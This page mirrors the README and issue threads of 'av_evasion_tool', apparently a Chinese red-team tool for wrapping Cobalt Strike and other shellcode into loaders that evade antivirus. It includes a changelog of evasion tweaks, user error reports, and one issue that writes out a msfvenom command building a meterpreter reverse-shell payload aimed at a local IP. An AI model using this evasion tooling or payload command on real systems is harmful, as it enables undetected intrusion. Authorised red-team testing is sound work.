Code Monkey home page Code Monkey logo

av_evasion_tool's Introduction

掩日 - 适用于红队的综合免杀工具

声明

  1. 仅限用于技术研究和获得正式授权的测试活动!
  2. 工作繁忙、水平低下、精力有限、时间仓促,代码未经过大量测试,如发现问题请提交 issue。
  3. 主程序已被部分杀软标记,请添加到杀软白名单。
  4. 测试的CS版本为4.4,测试的系统版本为Windows 10/11、Server 2008,其他版本自行测试。

下载

Github 下载

依赖

如果使用工具的全部功能,请确保满足以下全部条件:

  1. 64位 Windows 7 或以上操作系统
  2. .net framework 4.5 或更高版本
  3. 安装 tdm-gcc 或者 tcc
  4. 可选:安装64位 Go 语言环境

tdm-gcc下载地址,双击运行,选择 CREATE,然后一直“下一步”即可。

tcc下载地址,这个不需要安装,解压到任意目录即可(目录不要包含中文字符)。

使用

程序现在不会自动检测编译器了,而是使用了 YRconfig.ini 。在正式使用前,你需要更改这个文件的内容。格式参考如下:


[compiler]

GCC="C:\TDM-GCC-64\bin\gcc.exe"

GO="C:\Go\bin\go.exe"


将对应 gcc.exe 和 go.exe 的路径替换成你自己的,然后重启主程序就可以使用了。

自20231208版本之后,你可以自己选择c编译器:tdm-gcc 或者 tcc。tcc 生成的体积更小(实测7kb,使用upx可以压到5kb以内),但是不支持自定义程序图标。

生成路径中不要包含中文和空格,否则会生成失败!

针对Cobalt Strike,不要选择生成Windows分阶段木马、Windows无阶段木马,而是生成payload,最终是一个payload.c文件。

更新

v20231208 2023年12月08日

  1. 效果优化
  2. 现在可以自由选择tdm-gcc或者tcc生成loader

v20230823 2023年8月23日

  1. 效果优化

v20230417 2023年4月17日

  1. 效果优化

v20230329 2023年3月29日

  1. 效果优化
  2. 修复识别杀软时卡死问题

v20230303 2023年3月3日

  1. 效果优化

v20221105 2022年11月5日

  1. 一点儿更新

v20220801 2022年8月1日

  1. 效果优化

v20220629 2022年6月29日

  1. 优化某杀软误报问题

v20220419 2022年4月19日

  1. 免杀效果优化

v20220329 2022年3月29日

  1. bug修复(感谢@1191569886反馈)

v20220325 2022年3月25日

  1. bug修复(感谢@Tas9er反馈)

v20220311 2022年3月11日

  1. bug修复
  2. 使用C语言生成的程序体积减小90%(可以使用UPX进一步压缩体积,最终可以压缩到11KB左右)

v20220204 2022年3月7日

  1. 全新的界面
  2. 支持 Go 语言
  3. 支持本地分离
  4. 支持网络分离
  5. 杀软对比功能
  6. 更新检测功能

引用

感谢以下优秀项目/文章/网站,本工具修改和使用了其中的代码、资源或思路:

  1. Dount (https://github.com/TheWover/donut)
  2. avList (https://github.com/gh0stkey/avList)
  3. goShellCodeByPassVT (https://github.com/fcre1938/goShellCodeByPassVT)
  4. HandyControls (https://github.com/HandyOrg/HandyControl)
  5. flaticon (https://www.flaticon.com)

av_evasion_tool's People

Contributors

1y0n avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

av_evasion_tool's Issues

诚挚的邀请您加入CT stack社区

1y0n师傅
您好,我是 CT Stack 安全社区的运营jarcis。发现您的AV_Evasion_Tool工具非常优质,特邀您加入我们平台。因未找到您的联系方式,所以只能采取这样的形式,非常抱歉。
CT Stack 安全社区隶属于长亭科技,守护安全工具成长,可帮助运营、推广安全工具。每月评选优质工具打造专题月,可为工具量身定制玩法,集中收集工具使用反馈,辅助工具迭代。
如您有意向,可添加社区微信客服(客服号:CTStack)

Error DLL not Found !!

大佬好。

gcc环境已装好,杀毒已关,路径无中文。机器为win10

有关调用实时(JIT)调试而不是此对话框的详细信息,
请参见此消息的结尾。

************** 异常文本 **************
System.DllNotFoundException: 无法加载 DLL“YR3.dll”: 找不到指定的模块。 (异常来自 HRESULT:0x8007007E)。
在 掩日3._0.Form1.Generate(String input, String output, Boolean x64)
在 掩日3._0.Form1.Binary_Handler(String binary_path, String method, String inject, Boolean x64, String final_path)
在 掩日3._0.Form1.Shellcode_Handler(String raw_shellcode, String method, String inject, Boolean x64, String final_path)
在 掩日3._0.Form1.CtrlV()
在 掩日3._0.Form1.radioButton1_KeyDown(Object sender, KeyEventArgs e)
在 System.Windows.Forms.Control.OnKeyDown(KeyEventArgs e)
在 System.Windows.Forms.ButtonBase.OnKeyDown(KeyEventArgs kevent)
在 System.Windows.Forms.Control.ProcessKeyEventArgs(Message& m)
在 System.Windows.Forms.Control.WmKeyChar(Message& m)
在 System.Windows.Forms.Control.WndProc(Message& m)
在 System.Windows.Forms.ButtonBase.WndProc(Message& m)
在 System.Windows.Forms.NativeWindow.Callback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr lparam)

报错

生成x86没问题,生成x64就报错
微信截图_20200907210739

打开显示缺少必要环境

gcc --version
gcc (MinGW.org GCC-8.2.0-5) 8.2.0
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

安装后是8.2.0
打开显示缺少必要环境,但是三个我都满足了吖?求助一下

这个项目开源吗

逛了一圈没找到3.x版本的源码
是不是没把代码放出来,还是因为我没找到。。

生成失败

显示生成文件成功,但是实际上没有生成该文件

被杀反馈

每次都是更新放出来不久就被杀,我也很无奈。如果你的马被杀了,就在此留下反馈吧。反馈应包含杀软名称、版本(默认最新版)、查杀提示(截图最好)。

Not work

它不工作只是突然停止运行加密文件

关于掩日

那么问题来了~

  • 掩日到底是谁?跟惊鲵有什么关系?
  • 潜伏进入农家的目的是什么?
  • 沧海还能不能流了?

:D

大佬你的博客

大佬你的博客能我进去康康不 让我瞅瞅 我觉得里面肯定有好东西 你让我看一眼就

免杀后门无法正常工作

加载到10000时出现异常
捕获

gcc版本:gcc (tdm64-1) 10.3.0
Copyright (c) 2020 Free Software Foundation, Inc.

c文件生成脚本: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.188.129 LPORT=1111 -f psh-reflection >xy.c

粘贴shellcode进去之后,报错“无法加载DLL YR3.dll:找不到指定模块,异常来自HRESULT:0x8007007E ”

大佬好。

gcc环境已装好,杀毒已关,路径无中文。机器为win10

有关调用实时(JIT)调试而不是此对话框的详细信息,
请参见此消息的结尾。

************** 异常文本 **************
System.DllNotFoundException: 无法加载 DLL“YR3.dll”: 找不到指定的模块。 (异常来自 HRESULT:0x8007007E)。
在 掩日3._0.Form1.Generate(String input, String output, Boolean x64)
在 掩日3._0.Form1.Binary_Handler(String binary_path, String method, String inject, Boolean x64, String final_path)
在 掩日3._0.Form1.Shellcode_Handler(String raw_shellcode, String method, String inject, Boolean x64, String final_path)
在 掩日3._0.Form1.CtrlV()
在 掩日3._0.Form1.radioButton1_KeyDown(Object sender, KeyEventArgs e)
在 System.Windows.Forms.Control.OnKeyDown(KeyEventArgs e)
在 System.Windows.Forms.ButtonBase.OnKeyDown(KeyEventArgs kevent)
在 System.Windows.Forms.Control.ProcessKeyEventArgs(Message& m)
在 System.Windows.Forms.Control.WmKeyChar(Message& m)
在 System.Windows.Forms.Control.WndProc(Message& m)
在 System.Windows.Forms.ButtonBase.WndProc(Message& m)
在 System.Windows.Forms.NativeWindow.Callback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr lparam)

image

Suggest

It should be great to add a self-delete function.

12

更新了主程序都运行不起来了?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.